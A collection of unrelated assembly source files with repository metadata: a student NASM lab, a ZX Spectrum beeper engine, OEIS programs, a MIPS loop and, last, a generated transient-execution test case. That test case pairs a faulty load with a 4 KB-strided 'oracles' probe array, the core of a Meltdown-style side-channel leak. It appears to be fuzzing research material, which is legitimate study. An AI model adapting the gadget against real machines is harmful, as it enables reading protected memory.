; Link: gcc -m64 -o main_asm main_asm.o
; Run: ./main_asm
; Реализовать целочисленные вычисления, сделанные в лабораторной работе №2,
; полностью используя язык Ассемблера для организации корректного ввода-вывода информации:
; Я взял 2 лабу для основы
extern printf
extern scanf
extern exit
extern a_sig
extern b_sig
extern a_unsig
extern b_unsig
extern x_return
global main
segment .data
mode_1_str: db "1 signed",0Dh,0Ah,0
mode_2_str: db "2 unsigned",0Dh,0Ah,0
mode_3_str: db "3 exit",0Dh,0Ah,0
enter_mode_str: db "Enter node: ",0Dh,0Ah,0
mode_scanf_str: db "%d",0
mode: dq 0
enter_a_str: db "a: ", 0
enter_b_str: db "b: ", 0
enter_sword: db "%hd",0
enter_uword: db "%hu",0
print_sword: db "x: %hd",10,0
a_sig: dw 0
b_sig: dw 0
a_unsig: dw 0
b_unsig: dw 0
x_return: dw 0
segment .text
main:
sub rsp, 28h ; выделяем память в стеке
@start:
sub rsp, 8 ; теневая область для printf
;1 Знаковый\n
mov rdi, mode_1_str
mov rax, 0
call printf
;2 беззнаковый\n
mov rdi, mode_2_str
mov rax, 0
call printf
;3 выход\n
mov rdi, mode_3_str
mov rax, 0
call printf
;Enter mode
mov rdi, enter_mode_str
mov rax, 0
call printf
add rsp, 8 ;очвобождение теневой области область для printf
;Enter
sub rsp, 8*2
mov rdi, mode_scanf_str
mov rsi, mode
mov rax, 0
call scanf
add rsp, 8*2
mov rax, 1
cmp rax, [mode]
je @m_1
mov rax, 2
cmp rax, [mode]
je @m_2
mov rax, 3
cmp rax, [mode]
je @next
jmp @start
@m_1:
sub rsp, 8*2 ;теневая область для printf
;a:
mov rdi, enter_a_str
call printf
;enter a
mov rdi, enter_sword
mov rsi, a_sig
call scanf
;b:
mov rdi, enter_b_str
call printf
;enter b
mov rdi, enter_sword
mov rsi, b_sig
call scanf
call signedF
;print x
mov rdi, print_sword
mov si, [x_return]
call printf
add rsp, 8*2
jmp @start
@m_2:
sub rsp, 8*2 ;теневая область для printf
;a:
mov rdi, enter_a_str
call printf
;enter a
mov rdi, enter_uword
mov rsi, a_unsig
call scanf
;b:
mov rdi, enter_b_str
call printf
;enter b
mov rdi, enter_uword
mov rsi, b_unsig
call scanf
call unsignedF
;print x
mov rdi, print_sword
mov si, [x_return]
call printf
add rsp, 8*2
jmp @start
@next:
mov esi, 0
call exit
ret
; signed
;;;;;;;;;;;;;;;;;;;;;;;;
;a == b
signed_s1:
mov ax, -1d
mov [x_return], ax
ret
;a > b
; a*b-1 если a > b
signed_s2:
mov bx, [b_sig]
mov ax, [a_sig]
imul bx
sub ax, 1d
mov [x_return], ax
ret
;a < b
; a/b+2 , если a < b
signed_s3:
mov ax, [a_sig]
mov bx, [b_sig]
;cwd ; преобразовать слово, находящееся в регистре АХ, в двойное слово — регистры < DX:AX >).
mov [x_return], ax
idiv bx
mov dx, 2d
add ax, dx
mov [x_return], ax
ret
signedF:
mov ax, [a_sig]
mov bx, [b_sig]
cmp ax, bx
je signed_s1 ;ax==bx
jg signed_s2 ;ax>bx
jl signed_s3 ;ax<bx
; unsigned
;;;;;;;;;;;;;;;;;;;;;;;;
;a == b
unsigned_s1:
mov ax, -1d
mov [x_return], ax
ret
;a > b
; a*b-1 если a > b
unsigned_s2:
mov bx, [b_unsig]
mov ax, [a_unsig]
mul bx
sub ax, 1d
mov [x_return], ax
ret
;a < b
; a/b+2 , если a < b
unsigned_s3:
mov ax, [a_unsig]
mov bx, [b_unsig]
div bx
mov dx, 2d
add ax, dx
mov [x_return], ax
ret
unsignedF:
mov ax, [a_unsig]
mov bx, [b_unsig]
cmp ax, bx
je unsigned_s1 ; ax==bx
jg unsigned_s2 ; ax>bx
jl unsigned_s3 ; ax<bx
| 14.595745
| 94
| 0.648688
|
4da1f8a1ece686dd494d8d44ddc54075b70b088f
| 2,285
|
asm
|
Assembly
|
vibra/main.asm
|
bushy555/ZX-Spectrum-1-Bit-Routines
|
4d336dec9d7abc979a97af76d515104a9263f127
|
[
"BSD-3-Clause"
] | 59
|
2015-02-28T14:15:56.000Z
|
2022-03-26T12:06:01.000Z
|
vibra/main.asm
|
bushy555/ZX-Spectrum-1-Bit-Routines
|
4d336dec9d7abc979a97af76d515104a9263f127
|
[
"BSD-3-Clause"
] | 1
|
2016-08-22T05:32:43.000Z
|
2016-08-22T09:33:28.000Z
|
vibra/main.asm
|
bushy555/ZX-Spectrum-1-Bit-Routines
|
4d336dec9d7abc979a97af76d515104a9263f127
|
[
"BSD-3-Clause"
] | 9
|
2015-02-28T14:16:31.000Z
|
2022-01-18T17:52:48.000Z
|
;VIBRA
;ZX beeper engine by utz 07'2017
;*******************************************************************************
org #8000
looping equ 1
include "equates.h"
di
;ix,de,bc accu,base,mod ch1
;iy,de',bc' accu,base,mod ch2/#fe
;hl accu/seed noise
;hl' stack mod
;sp task stack/data pointer
;a' prescaler noise
;i timer hi
exx
push hl
push iy
ld (oldSP),sp
ld hl,musicData
ld (seqPointer),hl
ld sp,stk_idle
ld ix,0
ld iy,0
ld de,0
ld bc,#fe
exx
xor a
ld h,a
ld l,a
ld d,a
ld e,a
ld (timerLo),a
ld (vibrInit1),a
ld (vibrInit2),a
ld a,#10
ld i,a
jp task_read_seq
;*******************************************************************************
soundLoop
add ix,de ;15 ;update counter ch1
ld a,ixh ;8 ;load output state ch1
exx ;4
jp nc,skip1 ;10
ld hl,task_update_fx1 ;10 ;push update event on taskStack on counter overflow
push hl ;11
ret1
out (c),a ;12___80 ;output ch1
ld hl,timerLo ;10 ;update timer lo-byte
dec (hl) ;11
jr nz,skip3 ;12/7
inc hl ;6 ;= ld hl,task_update_timer
push hl ;11 ;push update event on taskStack if timer lo-byte = 0
ret3
add iy,de ;15 ;update counter ch2
ld a,iyh ;8 ;load output state ch2
out (c),a ;11___80 ;output ch2
jr nc,skip2 ;12/7
ld hl,task_update_fx2 ;10 ;push update event on taskStack on counter overflow
push hl ;11
ret2
inc hl ;6 ;timing
exx ;4
noiseVolume equ $+1
ld a,#0 ;7 ;load output state noise channel TODO: if we do ld a,(noiseVolume), we don't need timing adjust and can
; save 6t elsewhere
cp h ;4
sbc a,a ;4
out (#fe),a ;11___64
ret ;11 ;fetch next task from taskStack
;224
skip1 ;timing adjustments
nop
ld l,0
jp ret1
skip2
nop
jr ret2
skip3
jr ret3
;*******************************************************************************
taskStack
ds 30
stk_idle
dw task_idle
;*******************************************************************************
exit
oldSP equ $+1
ld sp,0
pop iy
pop hl
exx
ei
ret
;*******************************************************************************
include "tasks_soundgen.asm"
include "tasks_data.asm"
;*******************************************************************************
musicData
include "music.asm"
| 18.884298
| 118
| 0.517724
|
f13376ebc569f4e15b1e1ce226f28aa25eec51bd
| 146
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_sut0.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_sut0.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_sut0.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: zel_sut0.asm
Type: file
Size: 67184
Last-Modified: '2016-05-13T04:25:37Z'
SHA-1: 7A98AFD843DDFAC2C5A32CC838ADE8E6BF28174A
Description: null
| 20.857143
| 47
| 0.815068
|
c1cc71d09318883c453cc2d1d308423d4274276a
| 135
|
asm
|
Assembly
|
alice2/brads_alice2_archive/asm/libc.asm
|
lkesteloot/alice
|
44b85caf744e5830536b5e813e761cc0ce3f695e
|
[
"Apache-2.0"
] | 63
|
2015-08-14T23:27:39.000Z
|
2022-03-09T22:46:11.000Z
|
alice2/brads_alice2_archive/asm/libc.asm
|
lkesteloot/alice
|
44b85caf744e5830536b5e813e761cc0ce3f695e
|
[
"Apache-2.0"
] | 64
|
2015-09-11T23:13:03.000Z
|
2018-10-29T09:38:06.000Z
|
alice2/brads_alice2_archive/asm/libc.asm
|
lkesteloot/alice
|
44b85caf744e5830536b5e813e761cc0ce3f695e
|
[
"Apache-2.0"
] | 9
|
2016-01-06T00:06:33.000Z
|
2021-12-07T10:38:15.000Z
|
; functions that look kinda like libc functions
#include "printf.asm"
#include "gets.asm"
#include "strcpy.asm"
#include "timer.asm"
| 16.875
| 47
| 0.740741
|
01f48ab31278146b043037991d6c4e0bd56c2662
| 735
|
asm
|
Assembly
|
oeis/114/A114938.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/114/A114938.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/114/A114938.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A114938: Number of permutations of the multiset {1,1,2,2,...,n,n} with no two consecutive terms equal.
; Submitted by Christian Krause
; 1,0,2,30,864,39480,2631600,241133760,29083420800,4467125013120,851371260364800,197158144895712000,54528028997584665600,17752366094818747392000,6720318485119046923315200,2927066537906697348594432000,1453437879238150456164433920000,816174812350913027587065114624000,514634883772122081419437338992640000,362067455077625835493299225581027328000,282608176216381558075712782142018519040000,243477708053437124354095891099021976371200000,230460476795963487918805692285024402202951680000
mov $2,$0
seq $0,278990 ; Number of loopless linear chord diagrams with n chords.
lpb $2
mul $0,$2
sub $2,1
lpe
| 66.818182
| 480
| 0.865306
|
704ff8b85155ecc33d50930750bf9369aba0b082
| 1,276
|
asm
|
Assembly
|
programs/oeis/245/A245579.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/245/A245579.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/245/A245579.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A245579: Number of odd divisors of n multiplied by n.
; 1,2,6,4,10,12,14,8,27,20,22,24,26,28,60,16,34,54,38,40,84,44,46,48,75,52,108,56,58,120,62,32,132,68,140,108,74,76,156,80,82,168,86,88,270,92,94,96,147,150,204,104,106,216,220,112,228,116,118,240,122,124,378,64,260,264,134,136,276,280,142,216,146,148,450,152,308,312,158,160,405,164,166,336,340,172,348,176,178,540,364,184,372,188,380,192,194,294,594,300,202,408,206,208,840,212,214,432,218,440,444,224,226,456,460,232,702,236,476,480,363,244,492,248,500,756,254,128,516,520,262,528,532,268,1080,272,274,552,278,560,564,284,572,432,580,292,882,296,298,900,302,304,918,616,620,624,314,316,636,320,644,810,326,328,1320,332,334,672,507,680,1026,344,346,696,1050,352,708,356,358,1080,362,728,732,368,740,744,748,376,1512,760,382,384,386,388,1560,588,394,1188,398,600,804,404,812,816,820,412,1242,416,836,1680,422,424,852,428,860,864,868,436,876,880,884,888,446,448,2025,452,454,912,458,920,1848,464,466,1404,940,472,948,952,478,960,482,726,1458,488,1470,984,988,496,996,1000
mov $2,$0
mov $0,2
mov $1,$2
mul $1,2
sub $1,1
add $0,$1
mov $1,$0
cal $0,54844 ; Number of ways to write n as the sum of any number of consecutive integers (including the trivial one-term sum n = n).
add $1,1
mul $1,$0
sub $1,4
div $1,4
add $1,1
| 75.058824
| 971
| 0.722571
|
7f0b51cf5e2e39a94d3b08b9fbefec20901eb8cd
| 466
|
asm
|
Assembly
|
Compiler/Project(C-Compiler)/TestCases/testcase3.asm
|
mheidari98/_IUT
|
f684d31071512edeefe8c8405746d4f3eab6ab6b
|
[
"MIT"
] | 1
|
2021-07-10T19:52:38.000Z
|
2021-07-10T19:52:38.000Z
|
Compiler/Project(C-Compiler)/TestCases/testcase3.asm
|
mheidari98/_IUT
|
f684d31071512edeefe8c8405746d4f3eab6ab6b
|
[
"MIT"
] | null | null | null |
Compiler/Project(C-Compiler)/TestCases/testcase3.asm
|
mheidari98/_IUT
|
f684d31071512edeefe8c8405746d4f3eab6ab6b
|
[
"MIT"
] | null | null | null |
.data
backn: .asciiz "\n"
.text
.globl main
main:
addi $a0, $zero, 40
li $v0, 9
syscall
move $s0, $v0
addi $s1, $zero, 0
LOOP1:
slti $t0, $s1 , 10
beq $t0, $zero, L1
sll $t1, $s1 , 2
add $t1, $t1 , $s0
sw $s1, 0($t1)
sll $t1, $s1 , 2
add $t1, $t1 , $s0
lw $t1, 0($t1)
addi $sp, $sp , -4
sw $a0, 0($sp)
move $a0, $t1
li $v0, 1
syscall
lw $a0, 0($sp)
addi $sp, $sp , 4
addi $t2, $s1 , 1
move $s1, $t2
j LOOP1
L1:
li $v0, 10
syscall
| 14.121212
| 21
| 0.515021
|
806d2ec5e501219c911885eae6b3a41d402f5d96
| 2,658
|
asm
|
Assembly
|
programs/oeis/167/A167149.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/167/A167149.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/167/A167149.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A167149: 10000-gonal numbers: a(n) = n + 4999 * n * (n-1).
; 0,1,10000,29997,59992,99985,149976,209965,279952,359937,449920,549901,659880,779857,909832,1049805,1199776,1359745,1529712,1709677,1899640,2099601,2309560,2529517,2759472,2999425,3249376,3509325,3779272,4059217,4349160,4649101,4959040,5278977,5608912,5948845,6298776,6658705,7028632,7408557,7798480,8198401,8608320,9028237,9458152,9898065,10347976,10807885,11277792,11757697,12247600,12747501,13257400,13777297,14307192,14847085,15396976,15956865,16526752,17106637,17696520,18296401,18906280,19526157,20156032,20795905,21445776,22105645,22775512,23455377,24145240,24845101,25554960,26274817,27004672,27744525,28494376,29254225,30024072,30803917,31593760,32393601,33203440,34023277,34853112,35692945,36542776,37402605,38272432,39152257,40042080,40941901,41851720,42771537,43701352,44641165,45590976,46550785,47520592,48500397,49490200,50490001,51499800,52519597,53549392,54589185,55638976,56698765,57768552,58848337,59938120,61037901,62147680,63267457,64397232,65537005,66686776,67846545,69016312,70196077,71385840,72585601,73795360,75015117,76244872,77484625,78734376,79994125,81263872,82543617,83833360,85133101,86442840,87762577,89092312,90432045,91781776,93141505,94511232,95890957,97280680,98680401,100090120,101509837,102939552,104379265,105828976,107288685,108758392,110238097,111727800,113227501,114737200,116256897,117786592,119326285,120875976,122435665,124005352,125585037,127174720,128774401,130384080,132003757,133633432,135273105,136922776,138582445,140252112,141931777,143621440,145321101,147030760,148750417,150480072,152219725,153969376,155729025,157498672,159278317,161067960,162867601,164677240,166496877,168326512,170166145,172015776,173875405,175745032,177624657,179514280,181413901,183323520,185243137,187172752,189112365,191061976,193021585,194991192,196970797,198960400,200960001,202969600,204989197,207018792,209058385,211107976,213167565,215237152,217316737,219406320,221505901,223615480,225735057,227864632,230004205,232153776,234313345,236482912,238662477,240852040,243051601,245261160,247480717,249710272,251949825,254199376,256458925,258728472,261008017,263297560,265597101,267906640,270226177,272555712,274895245,277244776,279604305,281973832,284353357,286742880,289142401,291551920,293971437,296400952,298840465,301289976,303749485,306218992,308698497
mov $12,$0
mov $14,$0
lpb $14,1
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $9,$0
mov $11,$0
lpb $11,1
mov $0,$9
sub $11,1
sub $0,$11
mov $6,$0
lpb $0,1
sub $0,1
gcd $0,3
mov $6,9999
sub $6,$0
lpe
add $10,$6
lpe
add $13,$10
lpe
mov $1,$13
| 91.655172
| 2,284
| 0.829195
|
666f36bb63bba0bc779b4e5fc5399fbe4c73ef85
| 125
|
asm
|
Assembly
|
testsuite/tests/codeGen/should_gen_asm/bytearray-memset-unroll.asm
|
JakobBruenker/ghc
|
fc9546caf3e16db070bfc7bb5523c38595233e26
|
[
"BSD-3-Clause"
] | 51
|
2017-01-12T14:08:50.000Z
|
2021-03-24T06:01:41.000Z
|
testsuite/tests/codeGen/should_gen_asm/bytearray-memset-unroll.asm
|
JakobBruenker/ghc
|
fc9546caf3e16db070bfc7bb5523c38595233e26
|
[
"BSD-3-Clause"
] | 296
|
2017-07-05T14:35:23.000Z
|
2021-07-30T13:23:00.000Z
|
testsuite/tests/codeGen/should_gen_asm/bytearray-memset-unroll.asm
|
JakobBruenker/ghc
|
fc9546caf3e16db070bfc7bb5523c38595233e26
|
[
"BSD-3-Clause"
] | 6
|
2017-04-28T21:17:26.000Z
|
2020-02-23T00:32:09.000Z
|
movq $72340172838076673,%rcx
movq %rcx,0(%rbx)
movq %rcx,8(%rbx)
movl $16843009,16(%rbx)
movw $257,20(%rbx)
movb $1,22(%rbx)
| 17.857143
| 28
| 0.68
|
c78b909ffecdcfd049ac29a510d98928ef3a7ba2
| 687
|
asm
|
Assembly
|
programs/oeis/173/A173321.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/173/A173321.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/173/A173321.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A173321: a(n) = 4*n! - 1.
; 3,3,7,23,95,479,2879,20159,161279,1451519,14515199,159667199,1916006399,24908083199,348713164799,5230697471999,83691159551999,1422749712383999,25609494822911999,486580401635327999,9731608032706559999,204363768686837759999,4496002911110430719999,103408066955539906559999,2481793606932957757439999,62044840173323943935999999,1613165844506422542335999999,43555477801673408643071999999,1219553378446855442006015999999,35367047974958807818174463999999,1061011439248764234545233919999999,32891354616711691270902251519999999
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
mul $0,4
sub $0,1
| 98.142857
| 519
| 0.860262
|
824722ae95ac4d9ae5a0f913be6e541baa21846e
| 372
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_resize.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_resize.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_resize.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; int w_vector_resize(w_vector_t *v, size_t n)
SECTION code_clib
SECTION code_adt_w_vector
PUBLIC w_vector_resize
EXTERN asm_w_vector_resize
w_vector_resize:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_w_vector_resize
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _w_vector_resize
defc _w_vector_resize = w_vector_resize
ENDIF
| 12.827586
| 46
| 0.763441
|
b7d998bbfc2047ccfd98c8d200297d7687d16cdd
| 688
|
asm
|
Assembly
|
oeis/090/A090592.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/090/A090592.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/090/A090592.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A090592: (1,1) entry of powers of the orthogonal design shown below.
; Submitted by Jon Maiga
; 1,-5,-17,1,121,235,-377,-2399,-2159,12475,40063,-7199,-294839,-539285,985303,5745601,4594081,-31031045,-94220657,28776001,717096601,1232761195,-2554153817,-13737635999,-9596195279,76971061435,221115489823,-96566450399,-1740941329559,-2805917506325,6574754294263,32790931132801,19558582205761,-190419353518085,-517748782476497,297437909673601,4219117296682681,6356169225650155,-16821482625478457,-78136149830507999,-38521921282666799,469909206248222395,1209471861475112383,-870420720787331999
add $0,1
mov $1,1
lpb $0
sub $0,1
add $1,$2
mul $2,7
sub $1,$2
add $2,$1
lpe
mov $0,$1
| 45.866667
| 493
| 0.792151
|
767e306692691193c49a5e7ef7f0d3994c7a5473
| 460
|
asm
|
Assembly
|
numbers.asm
|
slowy07/learnAsm
|
d278573eecd96e0e56f720c92fe7783d33528e43
|
[
"MIT"
] | 1
|
2021-10-14T06:35:29.000Z
|
2021-10-14T06:35:29.000Z
|
numbers.asm
|
coderzhaxor/asmSourceCode
|
95a349e5b6e4fb52d29528f15635708d2273e676
|
[
"MIT"
] | null | null | null |
numbers.asm
|
coderzhaxor/asmSourceCode
|
95a349e5b6e4fb52d29528f15635708d2273e676
|
[
"MIT"
] | 1
|
2021-09-30T03:22:35.000Z
|
2021-09-30T03:22:35.000Z
|
section .text
global _start
;output summary :
;7
_start:
mov eax, '3'
sub eax, '0'
mov ebx, '4'
sub ebx, '0'
add eax, ebx
add eax, '0'
mov [summary], eax
mov ecx, msg
mov edx, len
mov ebx, 1
mov eax, 4
int 0x80
mov ecx, summary
mov edx, 1
mov ebx, 1
mov eax, 4
int 0x80
mov eax, 1
int 0x80
section .data
msg db "summary :", 0xA, 0xD
len equ $ -msg
segment .bss
sum resb 1
| 12.432432
| 28
| 0.543478
|
be2613eccff162b2b044ec5fefbdf714e8cb0a76
| 7,865
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2104.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2104.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2104.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x19b95, %rsi
lea addresses_normal_ht+0x12649, %rdi
nop
nop
nop
inc %r14
mov $8, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rbp
lea addresses_WT_ht+0xd8d5, %r13
clflush (%r13)
nop
cmp $43266, %r11
movb $0x61, (%r13)
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x120d5, %r14
clflush (%r14)
cmp %r11, %r11
movl $0x61626364, (%r14)
nop
inc %rdi
lea addresses_UC_ht+0x11cd5, %rsi
dec %r14
mov $0x6162636465666768, %r11
movq %r11, %xmm1
movups %xmm1, (%rsi)
xor $22285, %rcx
lea addresses_UC_ht+0xb6d5, %r11
add %rsi, %rsi
movb (%r11), %cl
nop
nop
xor $49957, %rsi
lea addresses_WT_ht+0x68d5, %rsi
lea addresses_UC_ht+0xf6d5, %rdi
nop
nop
nop
nop
add %rax, %rax
mov $77, %rcx
rep movsq
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_WT_ht+0x9329, %rax
nop
nop
nop
nop
xor $53104, %rdi
mov (%rax), %rbp
nop
nop
and $60804, %rax
lea addresses_WT_ht+0xba55, %rax
nop
nop
nop
nop
and $61701, %rsi
mov (%rax), %r13d
nop
nop
nop
nop
nop
add $43056, %r11
lea addresses_WC_ht+0x112cf, %rdi
nop
nop
nop
sub $7503, %rcx
movb (%rdi), %al
nop
nop
nop
add %rsi, %rsi
lea addresses_WC_ht+0x1d655, %rbp
nop
nop
nop
nop
nop
sub %r14, %r14
movb (%rbp), %r11b
nop
nop
nop
nop
add %rax, %rax
lea addresses_normal_ht+0x3cd5, %rax
nop
nop
sub $51719, %rsi
vmovups (%rax), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r14
nop
nop
xor $39406, %r14
lea addresses_A_ht+0x26c7, %rsi
lea addresses_D_ht+0xd4af, %rdi
clflush (%rdi)
add %rbp, %rbp
mov $38, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r8
push %rbp
push %rbx
push %rdx
// Store
lea addresses_WT+0x1a8d5, %rbx
nop
nop
nop
nop
nop
and %r8, %r8
mov $0x5152535455565758, %r10
movq %r10, %xmm6
vmovups %ymm6, (%rbx)
nop
nop
nop
nop
sub $23690, %rbp
// Store
lea addresses_normal+0xe6d5, %rdx
nop
nop
nop
nop
nop
sub %r14, %r14
mov $0x5152535455565758, %r8
movq %r8, (%rdx)
nop
nop
nop
sub %r14, %r14
// Load
lea addresses_UC+0xce2a, %r14
cmp %rdx, %rdx
movups (%r14), %xmm3
vpextrq $1, %xmm3, %r10
nop
nop
and $34337, %rdx
// Faulty Load
lea addresses_A+0x1e0d5, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
add $39845, %r12
vmovups (%rdx), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r14
lea oracles, %r12
and $0xff, %r14
shlq $12, %r14
mov (%r12,%r14,1), %r14
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
